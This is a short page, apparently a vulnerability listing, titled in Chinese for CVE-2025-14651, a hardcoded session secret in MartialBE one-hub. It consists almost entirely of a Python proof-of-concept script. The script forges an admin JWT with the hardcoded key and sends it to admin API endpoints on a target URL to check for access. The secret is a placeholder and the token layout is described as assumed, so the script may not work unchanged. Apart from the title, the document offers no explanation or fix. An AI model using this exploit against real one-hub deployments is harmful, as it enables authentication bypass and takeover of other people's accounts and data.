CVE-2025-14651: MartialBE one-hub SESSION_SECRET硬编码密钥漏洞

# CVE-2025-14651 PoC - Session Token Forgery # Target: MartialBE one-hub with hardcoded SESSION_SECRET import jwt import requests from datetime import datetime, timedelta # Hardcoded SESSION_SECRET from docker-compose.yml (from GitHub) HARDCODED_SECRET = "your-hardcoded-session-secret-here" # Target configuration TARGET_URL = "http://target-onehub-instance.com" def create_forged_token(user_id=1, username="admin"): """Generate forged session token using hardcoded secret""" # Standard JWT payload structure for one-hub payload = { "sub": str(user_id), "username": username, "iat": datetime.utcnow(), "exp": datetime.utcnow() + timedelta(days=7), "type": "access" } # Sign with hardcoded secret token = jwt.encode(payload, HARDCODED_SECRET, algorithm="HS256") return token def exploit(target_url, forged_token): """Use forged token to access protected endpoints""" session = requests.Session() headers = { "Authorization": f"Bearer {forged_token}", "User-Agent": "CVE-2025-14651 PoC" } # Attempt to access admin endpoints endpoints = ["/api/user/profile", "/api/admin/users", "/api/settings"] for endpoint in endpoints: try: response = session.get(f"{target_url}{endpoint}", headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Successfully accessed {endpoint}") print(f" Response: {response.text[:200]}") else: print(f"[-] Access denied to {endpoint}: {response.status_code}") except requests.RequestException as e: print(f"[!] Request failed: {e}") if __name__ == "__main__": print("CVE-2025-14651 - MartialBE one-hub Session Token Forgery") print("=" * 60) # Generate forged token forged_token = create_forged_token(user_id=1, username="admin") print(f"Generated forged token: {forged_token[:50]}...") # Attempt exploitation exploit(TARGET_URL, forged_token)